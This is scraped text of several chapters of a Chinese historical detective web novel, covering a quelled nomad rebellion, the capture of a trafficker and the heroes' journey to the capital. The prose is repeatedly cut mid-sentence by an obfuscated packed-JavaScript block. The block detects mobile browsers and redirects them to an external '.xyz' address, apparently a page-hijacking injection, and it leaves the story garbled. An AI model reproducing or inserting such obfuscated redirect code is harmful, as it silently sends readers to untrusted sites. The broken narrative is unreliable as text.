贾仁并不知道苗景岚此刻心里面在想什么,他还觉得自己现在的表现一定可以把苗景岚感动哭。 察尔罕并不知道贾仁的真正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928402|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份,他觉得跟浩城相比,区区一个大兴人根本不算什么。 他让人把贾仁丢一边,自己骑上马,和儿子卡扎一块带领着游牧族的骑兵向浩城出发。 有的浩城百姓不满,“百户,你就由着他们拿下浩城?” 也有人说话耿直:“塔汗,你是被这个大兴男人迷住了吧!” “住口!”塔汗涨红了脸,打断对方的话。 可是,心里面却犹如小鹿乱撞,有一种被人戳中心思的心虚。 察尔罕带着骑兵浩浩荡荡的从塔汗的面前经过,眼神带着挑衅的朝对方看一眼。 就在这时,不知道从哪里飞来一块石头,不偏不倚的就击中察尔罕的脑袋。 他以为是谁在偷袭自己,捂住鲜血直流的伤口就大声喊:“进攻,进攻,浩城的人不守信用……” 卡扎得了父亲的命令,第一时间拿出长剑,坐在马上大声喊:“冲啊!” 顿时,卡扎带着一阵骑兵冲向塔汗这边。 塔汗这边的人也慌了,不是说好的让他们通过就不开战吗?怎以又朝这边冲过来了? 管他呢,来了就打吧。 顿时,两边的人马立刻混战在一起,场面不可开交。 没有谁知道,就在刚才察尔罕骑上马经过的瞬间,苗景岚移动脚下那块踩着的小石子,趁着夜色太黑,凌空飞起一脚,朝察尔罕的脑袋踢过去。 一场莫名起妙的小战争就因此而起,好在两边的其实都是浩城和游牧族的百姓,并不是专业的军队,没有接受专业的厮杀格斗。 打起架来,顶多是把各自带来的菜刀、马鞭、长棍……扭打在一起。 苗景岚甚至还看到一个强壮的浩城妇女将一个骑在马上的游牧男人揪下来,然后按在地上拳打脚踢…… 在人数上,浩城的护卫兵不战优势,眼见着游牧族人的队伍占上锋。 察尔罕甚至得意洋洋的说:“谁拿下塔汗,只要是活的,我奖他十两银子一匹马!” 一听这话,游牧族的骑兵更猛了。 突然,黑暗中,一支箭啾地一声射在察尔罕的面前…… 第65章 青稞酒(18) 察尔罕吓了一跳,顺着那支箭射来的方向看过去。 就见一百多米开外,一个身穿银色铁甲的中年将军骑在战马上。 旁边还有一个骑着马的老头,身体似乎不大好,坐在马上还气喘吁吁。 那老头不是别人,正是浩城县令丁铁心。 “察尔罕,赶快投降吧。边疆的守军很快就到,你要是现在投降,我还可以跟你求求情,饶你一命!”丁县令坐在马上规劝察尔罕。 但是,正打算大展拳脚的察尔罕却不相信丁县令的话。 “我说丁县令,少在这里唬人,你以为带着一个会射箭的衙役我就会投降吗?实话告诉你吧,整个浩城都将在我的掌握之中,老子为了这一天熬了数十年,再过几个时辰,我将成为辽人的骄傲!” 察尔罕的父亲和曾祖父都是辽军的马夫,因此在辽国灭亡之后,叶老将军才让他在浩城的草原上管理游牧族。 这些年他韬光养晦,就是想有一天能成为浩城之主。 当这一天就要来临,换作是谁来做这个说客,都无法说动察尔罕的。 旁边的那位中年将军用冷冰冰的目光看向察尔罕,大声呵斥道:“大胆反贼,居然敢当众**!本将军是边城守将邓为,今天就取了你这反贼的狗命!” 他的话音刚落,从身后忽然飞奔出一队人马,手执兵器,摇旗呐喊般的冲向敌军。 正是大兴国的骑兵。 一千多草原上的游牧族骑兵对上这几百名平时训练有速的大兴国骑兵,很快就输得彻底。 察尔罕和他的儿子毕竟只是马夫的后代,并没有什么实战经验,更没有什么军事才能。 这一千多游牧族的骑兵本来就缺少正规训练,再加上其中一大半都是被察尔罕威逼利诱而来的,如今看到大兴国的军队真的打过来,顿时就溃不成军。 察尔罕的两个儿子,一个**,一个被打残。 而察尔罕本人,也被捆成一个粽子一般丢在角落里面。 当一场风波化为无形之后,丁县令和邓将军找到贾仁和苗景岚。 丁县令和邓将军朝贾仁深掬一躬,他们虽然不敢相信,但在这小小边城能够见到京城里的皇亲国戚,也是要礼数周到的。 “丁县令,邓将军,不必多礼。今天晚上多亏你们,要不是你们,只怕凶多吉少。”贾仁感慨道。 邓将军是一个耿直之人,实话实说:“是丁县令拿来你的玉佩,我才知道王爷居然身陷囹圄。只可惜边疆有西域人时不时来犯,大队人马被带走,末将只能带着一支轻骑马连夜赶过来。” 塔汗来到贾仁身边,担心的上上下下打量一眼贾仁,“贾公子,你没事吧?” “我没事。今天晚上也多谢塔汗姑娘,这么晚带着浩城的百姓赶过来。” 贾仁这话说得塔汗有些不好意思,“都怪我不好,带着那么多人过来,却没有派上用场。” “不要这么说,如果不是你带人拖延这么久的时间,丁县令和邓将军也不可能这么快拿下叛军。” 接下来,察尔罕的人马死的死,被抓的被抓,剩下逃走的也不成气侯。 这原本就是一场闹剧。 经过一夜的折腾,一场叛乱化为无形。 第二天,贾仁、苗景岚、塔汗和阿纳汗来到浩城的大牢。 此时的察尔罕已经穿上囚服,早就没有昨天晚上的骄傲和得意,宛若是一条死狗一般的坐在牢房里。 叛乱是死罪,察尔罕是新帝登其之后第一位在边疆企图叛乱的辽人,最快是年后问斩。 他的家人和族人也会被处死。 可是,他死之前,还有谜案需要解开。 阿纳汗的妹妹阿扎依在浩城神秘失踪,线索指向察尔罕。 眼看着察尔罕快要被处死,阿纳汗要在他死之前知道妹妹的下落。 塔汗问道,“察尔罕,阿扎依被你们拐去了哪里?” 可是,跟昨天话多的察尔罕不一样,现在的他仿佛没听见一样,坐在牢房里面一动不动。 愤怒的阿纳汗骂道:“察尔罕,你这个老鬼,到底把我妹妹弄到哪里去了?” 听到阿纳汗的话,察尔罕索性闭上眼睛不再作答。 直到贾仁抛出一个诱人的条件,“察尔罕,按照大兴国的规矩,叛贼死后是不会埋葬,也不会立碑的,只会丢在乱葬岗,和一堆无名的尸骨葬在一起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928403|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但你如果肯说出阿扎依的下落,我可以保证可以给你和你的儿子死后留个坟,立个碑。” 一听这话,察尔罕紧闭的眼睛突然睁开。 “你说的是真的?” 贾仁点点头,“我虽不才,但在皇帝面前求个情还是可以的。” 昨夜察尔罕也看到丁县令和邓将军对这个大兴人毕恭毕敬,相必也猜到对方的身份不一般,所以他选择相信贾仁的话。 “阿扎依具体在哪里我不清楚,但是我可以说一个名字,你们去找他。” “谁?”阿纳汗焦急的问道。 “肯拓拉马。” “什么?你居然让肯拓拉马带走她?”塔汗在听到这个名字之后,满脸都写着惊讶。 阿纳汗更是恨不得直接冲进牢房,把察尔罕暴打一顿。 “你这个畜牲,为什么要这样对待阿扎依?” 贾仁和苗景岚并不知道这个肯拓拉马是什么人,但从塔汗和阿纳汗脸上的表情可以看出来,阿扎依的境况一定很不好。 塔汗向两人解释说:“肯拓拉马是我们边境有名的人贩子,别人做这生意只是求财,但是他不一样。如果被拐卖的人没有卖到好价格,他会把那个人的四肢砍掉,丢在草原里喂狼。常常听到肯拓拉马让拐来的少女怀孕之后,把生下的孩子卖掉,然后再把少女卖到妓院。对我们而言,肯拓拉马就是一个变态。” 贾仁不由皱眉,觉得自己是不是应该收回之前的话。 没想到察尔罕居然把阿扎依卖给肯拓拉马,作出这样行为的人该不该有个坟墓。 “你为什么要这样做?” “因为他们两兄妹太烦人,在他们父母死后都不肯出让那块草原,只有把他妹妹弄走,他哥哥才会忙着找妹妹,不会再管草场上的事情。” “你真卑鄙!”阿纳汗恨恨的说。 苗景岚想着的是另一个问题:“接下来,我们要找到这个肯拓拉马才行。” “没用的。”塔汗苦恼的说,“这个家伙神出鬼没,虽然坏事做尽,但是没有人见过他的真容,连官府也奈何不了他。” 苗景岚却勾起唇角,“以前做不到,不代表现在做不到。” 第66章 青稞酒(19) 浩城的集市。 在人头涌动的菜市场,狭窄的土路两边满是摆得满满当当的摊位。 摊子上有卖蔬菜的,有卖牛肉羊肉的,有卖水果的,有卖零食的……当然,也有卖人的。 卖人当然不是指卖**,而是指家里面太穷,需要把自己或是家里面的孩子卖出去的。 虽然大兴国有明文规定,不允许贩卖人口,但是这里是远离京城的大兴国偏远小镇,没有谁会在意这里。 偶尔出现一些违反大兴国律法的事情,只要官府不管,也没有人会多事。 不过,自新帝登基之后,百姓的日子一天天的好起来,也没有谁舍得卖儿卖女。 偶尔有几个,也是因为家中经济窘迫,才会出来典当为奴。 今天在浩城的市集里,就有一个另类。 那人穿着破破烂烂的衣服,头上还顶着一个鸟窝头,浑身脏兮兮的,只有那张脸看上去白白净净、秀秀气气,否则就算是丢进垃圾堆里也没有人会理。 那人的面前摆着一块木牌,上面用大兴语和辽语写了两行字:**为奴。 来来往往的客人经过时,会偶尔看那人一眼,却见那人低头看着地,一句话也不说。 许久,才有一个人走过来,轻声问道:“做长的还是做短的?” “长的。”那人想也不想就回答。 在这里,长就是指“长工”,也就是**一辈子给人为奴。 短就是指“短工”,虽然也是做奴才,却有年限。 一般**为长工比**为短工的钱要高许多。 “什么原因混到这个境地呀?”询问的像是一个商人打扮,可是双手看上去却挺粗糙,看样子也是一个吃过苦的。 “家里人都病**,就剩下我一个,没本事养活自己,只有**为奴了。” “也怪可怜的。我出五十两,跟我走吧。” 那个要**为奴的人顿了一下,估计是没想到自己这么快就脱手,左右看了一眼,买家却不高兴了。 “还东张西望干什么?除了我之外,不会再有人买你,就算买也不会出这么高的价值,还不快跟我来。” 那个人马上垂下头跟在买主身后,显得十分的温顺。 东拐西拐的绕进一条漆黑的巷子,买家突然不知道从哪里弄来一根棍子,闷声就敲了对方一棍。 对方猝不及防,立刻晕过去,买家立即熟练的把那人双眼蒙上,然后套进麻布袋子里,拐个弯往另一条路上走。 贾仁醒过来之后,发现自己躺在一辆马车上。 他被蒙上双眼,也不知道坐着马车去往哪里。 怪只怪昨天苗景岚说有办法找到肯拓拉马,她说要扮成孤女**葬父,贾仁担心她的安危,提出自己来扮演。 原以为事情不会很顺利,没想到居然真的有人要拐卖自己。 现在只希望一切顺利,苗景岚和塔汗他们看到自己留下的痕迹,会一路跟过来。 马车一路颠簸,终于停下来。 贾仁被人拖出马车,蒙着眼睛走一段路,来到一个陌生的地方。 就听买家尊敬的称呼:“主子,我给你带来了新的‘羔羊’。” 不用问,那只‘新羔羊’就是贾仁本人。 被称作为主子的家伙却不高兴:“这个时候给我弄什么人来?我不是跟你说吗?浩城出大事了,这段时间不要进货!” “就是察尔罕那个老匹夫叛乱被抓的事情吗?那老匹夫一直嚣张得很,被抓也是活该,跟我们的生意有什么关系?主子,这家伙虽然年纪大一些,但我看过了,皮相还不错,卖给那些有钱的妇人当粉头,也是可以的。” 一听这话,贾仁差点儿被气得吐血。 他堂堂一个隐王爷,居然混到被人当成出卖色相、给有钱妇人的男宠,真是太气人了! 而被称之为主子的家伙大发雷霆:“蠢货,我们跟察尔罕合作这么多年,他出事我们又能好得了?万一浩城的县令顺藤摸瓜,借机找过来,我们这地盘还能不能呆?” “那这只‘羊’……” “找个没人的地方宰了,然后再埋起来,千万不能让人知道。” “可主子,我觉得这只‘羊’品相还不错……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933403|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那也不能留!” 眼见着贾仁要被人带走弄死,就在这个时候,外面突然闯进一队人马,气势汹汹的险些把门给踹了。 塔汗冲在最前面,对两个人贩子喊:“我是浩城百户,你们居然敢在我的眼皮子底下贩卖人口,还不束手就擒,否则我取了你们的狗命!” 吓得两个人贩子立马讨饶。 跟随塔汗而来的人把两个人贩子绑好,塔汗则迅速的摘下贾仁的眼罩,解开他身上的绳索,温柔的询问:“贾公子,你还好吧?” “我没事。苗姑娘呢?” 一听到贾仁提起苗景岚,塔汗的脸不由沉下来,不高兴的说:“她和阿纳汗正在审问那两个人贩子呢。” 到天黑的时候,两个人贩子已经招了。 原来那个被称之为主人的就是肯拓拉马,这些年他一直蛰伏在浩城,让手下到处寻找合适的猎物,然后四处贩卖人口,从中谋利。 为了方便拐卖人口,他还和察尔罕勾结起来,让察尔罕物色合适的猎物,他再和手下动手,这些年伤天害理的事情干了不少。 阿纳汗的妹妹阿扎依也是被他拐卖的,不过阿扎依还算幸运,她刚被拐卖不久,就被一个家中无儿无女的富人看中,留在家中当干女儿。 阿纳汗一听到妹妹的行踪,等不及让苗景岚跟随,就一个人独自跑到富人家中找妹妹。 至于贾仁,在事情成功之后,终于脱掉那身乞丐服,好好洗个澡,然后坐在桌前打算美美吃一顿。 苗景岚走过来,坐在他身边,问道:“你打算什么时候回京城?” “休息两天就动身。” “今天能够这么顺利的抓到肯拓拉马,你功不可没。”苗景岚替阿纳汗感谢对方。 “不用夸我,这主意是你想出来的。” “我本来是想自己当诱饵,是你主动提出要替我身赴险境。”说这话时,苗景岚有些脸红。 “你一个姑娘家,扮什么**为奴,要扮演这种角色,自然我比你强,至少我阅历比你多。” “还有一件事情,察尔罕为什么会答应帮你?” 第67章 青稞酒(20) “还有一件事情,察尔罕为什么会答应帮你?”苗景岚问贾仁。 贾仁轻轻笑一下,“想不到你也有搞不懂的时候。” “察尔罕本就是**之末,他帮不帮你都是要死。为什么你跟他说会把他安葬,他便答应帮你?”这些事情对苗景岚来说无法理解。 按理说,察尔罕是一个注重利益的人,不会因为区区一个坟墓就答应帮助贾仁。 可是贾仁是了解这些辽人习性的,“你不知道,游牧族人说到底也是辽人,辽人都注重落叶归根,否则下辈子无法投生。我吓唬察尔罕,叛乱之人是不会被朝廷安葬的,他担心这个事。当我一说把他安葬,他就把我当成最后一根救命稻草。” “就因为这个?”苗景岚颇有些意外。 她原以为贾仁可能知道察尔罕什么秘密,到头只是为这种虚无的理由而出卖肯拓拉马。 “肯拓拉马被抓住了,阿纳汗的妹妹阿扎依也找到了。接下来,你打算怎么办?” “回京城。不过回去之前,我要问塔汗一些问题。”贾仁一脸的黯然。 “是跟你的身世有关吗?”苗景岚问。 贾仁点点头,“这是我出来这一趟的目的。” 丁县令平了叛乱,又抓住祸乱浩城的人贩子肯拓拉马,可谓是大功一件。 据说朝廷要嘉奖,过一段时间就会把丁县令调往京城。 至于塔汗,她是浩城的百户,平定叛乱也算有功。 再加上她是前朝名将叶将军的孙女,朝廷也会宣她进宫受赏。 回到京城之前,贾仁宴请塔汗,打算问清楚当**情。 “塔汗,来尝一尝这新酿的青稞酒。这是阿纳汗亲自送来的,说是为了感激我们帮他找到妹妹。”贾仁笑嘻嘻的抱着一坛酒。 青稞酒本来是草原上最廉价的酒,用草原上随处可见的青稞酿造的。 但塔汗接过那坛酒,眼中是隐隐的兴奋。 “我好多年没有喝过青稞酒了,今天一定要不醉不归。”塔汗笑兮兮的样子,宛若情窦初开的少女,一点也看不出平常浩城百户的威严。 “他也算是一个不错的哥哥了,阿纳汗跟我们说,以后他会带着妹妹到草原上牧羊,不会再让妹妹离开自己。”贾仁居然有些羡慕阿纳汗,至少他还有一个亲人在身旁。 而他自己,至今连自己的身世都不清楚。 “塔汗,我能不能问你一个问题。” 几杯青稞酒下肚,塔汗的脸已经微微泛红。 今天的酒席只有她和贾仁两个人,孤男寡女在夜色中独自喝酒,很容易让人想入非非。 塔汗漆黑的眼眸看向贾仁,“你想问什么,我都告诉你。” “你爷爷在世的时候,有没有跟你讲起逆太子的事情?”这是埋在贾仁心里面最深的秘密。 “逆太子?”塔汗一愣,酒立马都醒了几分。 她原以为贾仁会问她生辰八字,家里还有什么人,心目中的如意郎君是什么样子,可有中意之人……没想到大晚上又是请她吃饭,又是请他喝酒,戏做得这么足,就是为了问她爷爷的事情。 “爷爷在世的时候,我还很小,没听他说起过什么‘逆太子’。”塔汗微微沉下脸。 “那你爷爷有没有提过,他跟谁的关系最好?有没有那种出生入死的朋友?”贾仁又催促道。 “爷爷很少提起他当兵打仗的事情,每次我阿塔跟他聊起以前的事情,他就总是发脾气,他好像十分不喜欢提起以前的事情。” 贾仁听塔汗这样说,心情也变得阴沉。 塔汗似乎想讨贾仁开心,“不过,每个月的初一和十五,我爷爷都会主动消失,不想让人找到他。” “初一、十五?他是去拜祭谁吗?” “我小的时候并不知道,一直很好奇爷爷每个月的初一和十分突然消失是去干什么。有一回我偷偷的跟着他,发现爷爷是骑着马独自来到一个沙丘。”塔汗向贾仁慢慢讲起以前的经历。 “沙丘?”贾仁原本黯淡的眼神不由为之一亮。 “是的。那个沙丘是在草原的边缘,我一路骑着马悄悄跟在爷爷后面,发现爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933404|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷是跑到沙丘的一个坟墓,在那里拜祭一个朋友。我看到爷爷带着酒和肉,坐在坟墓边自言自语,最后还哭起来。” 贾仁的心不由为之一紧,感觉自己快接近真相:“能让一个驰骋沙场的老将黯然落泪的,一定不是一个普通的朋友。你知道你爷爷的那个朋友是谁吗?” 塔汗摇一摇头,“回到家之后,我把事情告诉阿塔,阿塔叫我对谁也不许说出那天的事情。而且,从此之后,他再也不准我悄悄跟着爷爷。” “那么说你阿塔也知道你爷爷拜祭的人是谁,你阿塔有没有提起过这个人?” “没有。我阿姆是个辽人,阿塔想让我在草原上以辽人的生活方式长大,这样才能成为浩城的百户。” “你知不知道这个沙丘的具体位置?可以带我去吗?”贾仁觉得叶老将军当年拜祭的那位朋友,就是他苦苦寻找的人。 塔汗撇一撇嘴,“可以是可以。但你大晚上请我喝酒,就是为了问这个?” 哼,真是不解风情。 第二天,当贾仁、塔汗和苗景岚来到那处沙丘,又辛辛苦苦挖开那个坟墓。 可是,坟墓里面什么也没有。 顿时,贾仁沮丧极了。 “不用难过,我随你回京城。你不是说有因为你的身世而陷害你吗?我未必能够清楚你的身世,但是查清楚究竟是什么人陷害你,还是可以的。”苗景岚安慰贾仁。 一听这话,贾仁苦瓜般的脸瞬间变得明朗许多。 “岚儿,我是知道你本事的。等你跟我回了京城,我带你见识见识京城好玩的好吃的,我保证那是你在小县城里绝对见不到的。” 苗景岚没好气的白了他一眼,心说:笨蛋,这个世界有什么东西是她一个现代人没有见识过的? “那我呢,那我呢?贾公子,我要是去京城的话,你也可以带着我去见识见识吗?” “当然。塔汗姑娘,你是我朋友嘛,又帮助过我们,等回了京城,我一定会报答你的。”贾仁又对苗景岚说,“岚儿,在京城咱们可有一场硬仗要打呢。” 第68章 御酒(1) 马车在通往京城的道路上疾驰着。 苗景岚的眼睛闭着,脑子里不知道在想着什么。 而贾仁视线看向窗外,看似在看风景,却不知道神游在哪里。 终于,他还是忍不住率先开口。 “还有五天才能到京城,岚儿,我跟你说说京城的那些事情。” 苗景岚睁开眼睛,开始她的提问:“去京城之前,我想先跟你确认一下,以后我是管你叫贾公子呢,还是管你叫隐王爷?” 贾仁苦笑一下,“你全都知道了?” “我什么也不知道。关于你的身份,我一直都有怀疑,只是之前你一直死皮赖脸赖在我的身边,又费尽心机替我查案子,我也不好问。可经过浩城这么多事情,你又拉着我去京城帮你查案,我觉得你应该给我一个交待!”苗景岚一脸严肃的看向贾仁。 虽然她以前也是一幅高冷的样子,但今天的苗景岚似乎比平常更加的清冷,看向贾仁的眼眸全是探究。 贾仁有些无奈的开始娓娓道来:“唉,好吧,不是我不跟你说,实在是我不知道该如何说起。我是皇子里面年纪最小的一个,父皇在位的时候我就不得宠。我也不知道是什么原因,父皇待其他的皇子,甚至是公主都比我这个小儿子要亲近许多。有的时候,我甚至……甚至觉得父皇看向我的眼神里面,隐隐带着恨意。” “尽管如此,太子对我却很好,我们皇兄几个当中只有太子视我如亲兄弟。过了一些年,先皇驾崩,太子即位。而我,也成为了皇城里最清闲的王爷。别的皇子在新皇即位之后,不是被封了官职,就是被封了封地。而我,还跟以前一样,既没有封地,也没有具体的官职,就是一个在皇室当中的混混。” “或许是我太过敏感,其实从小到大我也听到过一些和我身世有关的传闻。说我其实并不是先皇的儿子,而是先皇的孙子。当今皇上也不是我的皇兄,而是我最小的叔叔。” 说到这里时,贾仁还看了看苗景岚此刻脸上的表情。 果然,苗景岚的脸上也是一脸的错愕表情。 贾仁憨憨的笑了一下:“你也觉得不可思议,是吧?我头一回听到的时候,我也不相信。” “可是,嘴里面说不相信,心里面还是有所怀疑的吧?”苗景岚对上贾仁那双有些无助的眼神,忽然有点同情自己这个探案搭档。 “起初我也是不相信的,但是皇兄的行为,让我不得不怀疑。他还没有登基之前,就总是惯着我,我贪玩不好学,他便换掉我的夫子,让我可以玩个够。如果我看中什么好玩的玩艺,他就直接让我带回家,也不用我掏钱。我以为皇兄只是看我年纪最小,所以才这样宠我。” “我记得当年皇兄行弱冠之礼时,我看中他佩戴在腰间的一块玉佩,那是父皇赏赐给他的。皇兄见我喜欢,二话不说把玉佩解下来送给我,也就是我拿给丁县令做信物的那块。” “这块玉佩有什么特别之处吗?”苗景岚好奇的问。 “玉佩上面有特殊的龙纹图案,它是取天山血玉为玉坯,由大兴国最好的玉雕师傅雕刻而成,这还不是它最特别的地方。它最特别的地方是玉的中央是一条天然形成的若隐若现的红龙,听说当时父皇得此玉佩,第一个把它关给皇兄。可是皇兄却在弱冠之礼之时把它送给我,父皇因此而大怒。从此,京城就有我与皇兄争宠,还抢走皇兄最中意的玉佩的传闻。” 苗景岚听到这里,不由失笑一声,无论是过去还是现在,都不缺这种八卦的人。 “不是所有人都知道事情的真相,你又何必在意别人说什么?”苗景岚安慰起贾仁。 “起初我也是这样想的,就这样让别人冠以我‘不思进取,与皇兄争宠’的名头。皇兄即位之后,对我的宠爱更甚从前,我喜欢什么,就送给我什么;我看中什么,就让我自己拿,然后费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938380|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用直接算皇兄的帐上。” 苗景岚冷笑一声,“你皇兄对你还真是恩宠至极呀。” “岚儿,你说的这是真心话吗?好吧,我就当你说的是真心话吧。可以这么说,皇兄除了不给我官职,不给我封地,其他什么事情都依着我。而我也因为这个原因,被百姓称之为‘隐王爷’。” “这是什么说法?”苗景岚接着问。 “因为我虽为王爷,但是什么事情也不管,只管游手好闲的虚度人生,所以他们暗地里给我取个这样的名字。皇兄听到,还曾经责罚过私下里管我叫‘隐王爷’的几个官员。其实,我一点儿也不在乎,我甚至自己管自己叫‘隐王爷’。” “我的故事说完了,岚儿,你是不是嫌弃我这个不中用的‘隐王爷’呢?”贾仁说到这里时,还委屈巴巴的朝苗景岚做个鬼脸。 苗景岚可不吃他这一套,直截了当的戳穿贾仁真正的心事,“你虽然嘴上说不在意,其实你心里面还是很在乎的。要不然你也不会千里迢迢从京城跑出来,你历经艰辛甚至独自涉险,只是为了能够查清楚你自己的身世。你怀疑那些传闻是真的?” “呵呵,果然是我的岚儿呀。这个世界上,唯一能够知道我心事的只有你啊。”贾仁又是一幅朝苗景岚献媚的样子。 苗景岚白了他一眼,“得了,别在这里恶心人了。就说你现在都掌握一些什么,我回到京城才好帮你查身世吧。到现在这个份上,你还要瞒着我什么?你的真名究竟叫什么?总不能到了京城,还管你叫贾公子吧?” “其实,岚儿呀,只要你喜欢,你可以这辈子都管我叫贾仁。贾仁,假人,其实我还蛮喜欢这个名字的。” 苗景岚把头一扭,把脸别在一边去,假装不愿意再听贾仁说下去。 贾仁只能收起自己没皮没脸的那一套,“好吧,不逗你了。我的真名叫做慕容谨严,这个名字是不是很怪?” 第69章 御酒(2) 马车一连行驶将近半个月,才来到京城。 本来,如果马车马不停蹄的行驶六七天便可到京城。 可偏偏慕容谨严是一个贪玩的性子,一路上带着苗景岚一边走一边欣赏旅游的风景,可真所谓吃喝玩乐两不误。 等他们来到京城的时候,已经是半个月后的傍晚。 原以为这个时候来到京城,肯定是无人问津。 慕容谨严就是打着这个主意,正好可以到皇宫外再住一段时间,乐得逍遥。 可是,令他们意想不到的是,当黄昏的夕阳像一抹血红色的红帷帐一般撒在皇城的大地上。 看上去庄严肃穆,却带着一种近乎诡异的邪魅。 “没想到京城的傍晚还挺美的。”苗景山感慨道。 慕容谨严轻笑一声:“那是因为你还没有看到它最可怕的一面。” “越美的东西才越恐怖,它是一座充满诱惑的皇城,也是一座会**的城堡。”苗景岚突然说出一句意味深长的话。 慕容谨严有些意外,“我说小岚岚,你好像有好多感触一样,要不怎么会说出这样的话?” “呵呵,看到这样美丽的景色,由衷发出一些感叹而已。” 慕容谨严不知道,前一世的苗景岚看过太多的案件,清楚人性的不堪和丑陋。 最丑陋的人性,往往披裹着最美丽的外衣。 “走吧。小岚岚,咱们找家京城的馆子先垫垫肚子,我知道这里最好吃的馆子是哪一家。” 在不知不觉之中,慕容谨严和苗景岚两个人的关系也变得越来越微妙。 慕容谨严对苗景岚的称呼也由之前的“岚儿”变成了“小岚岚”。 苗景岚也不是一个计较这些的人,对慕容谨严说的那些肉麻的话全部自动屏蔽起来。 就在他们打算在京城找家客栈休整一下,忽然看到有一辆黑色的马车迎着夕阳朝他们奔驰而来。 “王爷,王爷,稍等……” 慕容谨严和苗景岚都停下脚步,好奇这个时候是谁找过来。 马车在慕容谨严的身边停下,从马车上跳下来一个气喘吁吁的胖子:“王爷,奴才总算把您盼来了!” 慕容谨严认得这人,这是皇兄身边的掌管太监王兴。 “王公公,你怎么来了?” 王兴看到慕容谨严居然夸张的差点哭起来,“王爷,您不知道,奴才受陛下所托,专程来接您回宫。奴才是早也盼,晚也盼,一连等了十余天,也没有看到王爷您的身影。那皇城的城墙上边,都留着奴才站着等您的脚印呢。” “王公公,辛苦你了。本王难得出门一趟,肯定要玩得尽兴一点,这不知不觉就多耽误了几天,到时候本王会跟皇兄解释的。” “王爷,这位姑娘是……”王公公是宫里面的老人精,知道慕容谨严是一个人出宫的,却带回来一个姑娘,知道这个姑娘肯定不简单。 慕容谨严不加思索的说:“哦,这位呀,是我的朋友。” 王公公那双狡黠的眼睛在田景岚身上扫视一眼,心中暗暗觉得惊讶。 王爷从小到大都不近女色,身边连个陪房都没有,这出一趟远门就带回来一个姑娘,能让母胎单身的王爷动心的女人肯定不一般。 看这姑娘的长相,并不是什么国色天香,顶多算五官端正,相貌清秀,为什么会让王爷动心呢? 她身上有什么过人之处? “既然是王爷的朋友,自然是跟王爷一块住进宫里。”王公公殷勤的朝苗景岚作一个“请”的动作。 “可我不想进宫,还是住在偏殿吧。”慕容谨严打断王公公的邀请。 王公公略一犹豫,“也行吧。那王爷今天住在偏殿,明天再进宫面见陛下。” 慕容谨严没吭声,算是认同王公公的决定。 皇宫的偏殿离着大兴国的皇宫并不远,有时候站在皇宫的墙头往旁边看,还看得到偏殿里面的情形。 其实说是偏殿,大约也就是一堵墙圈起来的几个房间,中间有一个大大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945184|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 